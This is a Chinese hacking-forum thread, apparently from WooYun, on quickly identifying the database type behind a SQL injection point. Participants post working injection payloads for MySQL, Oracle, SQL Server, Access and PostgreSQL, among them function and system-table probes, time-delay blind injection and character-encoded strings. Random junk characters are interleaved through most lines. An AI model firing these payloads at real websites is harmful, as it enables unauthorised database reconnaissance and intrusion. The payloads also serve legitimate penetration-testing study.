一个注射点如何最快速确认是什么类型数据库
& z5 }* J9 q) Oxsser (十根阳具有长短!!) | 2013-02-05 12:36$ G* c! _$ ]! G5 {7 P) R
假设这么一个注射点:" C7 W1 E$ p/ w1 Z
show.html?id=2% S# p# r; ^" S3 G. Y/ K1 z
mysql:id=2 and version()>0
+ \! i: Y6 f9 z2 q9 B( B7 U* a' [3 Aoracle:id=2 and '1'||'1'='11$ r9 l& S* M' p+ K, [7 v4 v8 ^
其他的欢迎补充
4 \7 r# ?" Q4 R: y9 S1#* [& p6 t, ?7 ?5 b% b5 {7 H" K
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47/ E4 }2 i: |" w+ J! l' s* P; X
Access:4 x. G% W6 t5 D1 ~
aNd aSc(cHr(97))=97; ~. M$ Z {1 `0 W0 P% b" @
and exists(select id from MSysAccessObjects)
( [6 s* E: _2 i& Y/ O. h- w" @SQL Server:9 E# i/ ^7 H9 ]5 [ n6 F
and exists(select id from sysobjects)7 d1 h) l E7 W" t+ Z
and length(user)>0
% t$ D7 l; w5 D/ @& a3 Q. L# A" xMySQL:; j1 }! l/ _0 z8 A5 T) F
and length(user())>0
' C* \6 e+ @% G# x+ u l) V, D, M2#- @4 x! R5 v/ G* e& G( `
xsser (十根阳具有长短!!) | 2013-02-05 12:486 H9 H% g5 X4 J+ K M' A0 T* M5 g
@upload 如果这些都不是呢…4 d! Z& U* [. q
3#
: W% f. u$ y0 F& n* {2 X; y* c: ?upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
7 a5 m! s. m0 ?! A& q5 M, Z@xsser 不快速的,延时注入
& S. P+ J$ g. A* W! e! i6 [1 K" F不知道这样写对不对& |3 C. E! p: j& r8 y/ i
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
( U& _ L0 A% R" H- K! @mysql:id=2 and select benchmark(1e8,current_date());
0 \, N, d, i6 x7 v0 }4#( \ ?1 o* S' Y' ~* R3 [
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
- j) y: ^9 c7 D1 V- h6 l* M+ |) ?( f最快的貌似是看报错信息( w' J+ l$ u/ B
oracle error
. D1 G5 I" ]6 B6 |: Rmssql error
" N( t% v& o1 J( F' U, K; P& omysql error1 ^" p0 Q) ^3 _. K' L, s. Z
5#
( @8 ^- e, M5 j/ T( @5 y0 sNimda (你们都是坏银~) | 2013-02-05 13:14, o% z) ~1 H0 f8 k$ A( Q5 A
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)2 }* ~5 p; v4 ?+ W0 d0 S1 b
6#6 H/ T% F; {8 y. e
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21, K9 R" s2 A _* {; Q
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
( ^+ \* w! g% O$ N/ [) A8 q$ n, _“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
0 k; |2 V9 [; [2 J6 u“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。1 H1 J+ u: b) e0 J& ?
7#. i/ p% J6 H! N* m% D7 ]# T3 F
_Evil (HackEnd) | 2013-02-05 13:331 M1 \8 j1 ^8 }) `/ n
PostgreSQL
1 r4 F. J1 ?; [; Q. L( J S8#8 ~; C9 I$ ~( [% M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
& t4 I% y2 y$ X2 @$ M切换编码 and 1=1
; S& D" I& J4 A- F& t+ {oracle:% o9 A9 M2 I; d ~: T8 x
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)* [: S8 K' D0 `' @
mssql:
! Z$ f6 T/ C7 XCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
) u5 `9 y7 @/ Q: O6 b( R/ g4 pmysql:( }; v# ^7 Z) W8 ^4 r
CHAR(97, 110, 100, 32, 49, 61, 49)2 R2 D# t+ m( M
9#3 ^% w, v0 T# N# K7 O/ y
xsser (十根阳具有长短!!) | 2013-02-05 14:31
& C' {& C: R# y; E8 [ p5 `@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?% @5 d2 ~, \& o7 k4 ~* S
10#
9 g: W, N/ l1 r3 k/ R D7 o( u. Hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46$ J/ n9 @0 N/ s) m. _/ m
@xsser 是奇葩数据库类型的么?
, n3 b9 n& F7 |" N) f) [根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:/ e! L' n3 c# {0 f' \1 |' g7 t* l
1.是否可以使用特定的函数来判断,该数据库特有的8 ~* _, z: I- H9 L
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等+ l+ F: ^9 B8 S7 M7 ~% c" N
3.是否可以编码查询% n5 t% Z* D' I7 X0 z( G
4.是否显可以利用错信息1 d5 d5 y9 n8 J
5.是否存在数据库某些特性辅助判断4 t& f+ g$ P( V: \( t! z
个人见解4 v# k1 _8 H6 r- l
11#
5 x$ F4 p, c# Y5 D4 G小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
" L7 T# i6 c0 _9 w' \已收藏,mssql可以直接看到错误提示的吧~
8 E0 i2 r) o% i8 G. Q$ L6 o5 j+ T12#; |* v' h6 g; m$ w J
Passer_by | 2013-02-05 15:09' ~$ x) }7 {% D9 K
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。9 _% Q% A1 O- S7 l1 j) D
from:http://zone.wooyun.org/content/260 |